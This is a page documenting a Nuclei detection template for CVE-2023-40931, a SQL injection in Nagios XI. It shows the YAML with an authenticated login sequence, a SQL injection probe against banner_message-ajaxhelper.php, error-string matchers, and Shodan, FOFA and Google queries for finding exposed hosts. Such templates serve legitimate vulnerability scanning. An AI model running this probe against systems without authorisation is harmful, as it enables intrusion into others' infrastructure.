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Nagios XI v5.11.0 - SQL Injection

ID: CVE-2023-40931

Severity: medium

Author: ritikchaddha

Tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios

Description

Section titled “Description”

A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.

YAML Source

Section titled “YAML Source”
id: CVE-2023-40931


info:
  name: Nagios XI v5.11.0 - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands.
  remediation: |
    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40931
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-40931
    cwe-id: CWE-89
    epss-score: 0.00208
    epss-percentile: 0.59103
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query: title:"Nagios XI"
    fofa-query: app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios


http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}


      - |
        POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=acknowledge_banner_message&id=*


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to acknowledge"
          - "SQL Error"
          - "right syntax to use near"
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true
# digest: 4a0a00473045022058152b7521b0b5a4a4788b63ee8d387b6a09e4c93ceadf37e070d4d7363f75e0022100d58fbab74fb871293e4b17ca0049857bee9eef4c96b7158a86d8906e66690e55:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-40931.yaml"

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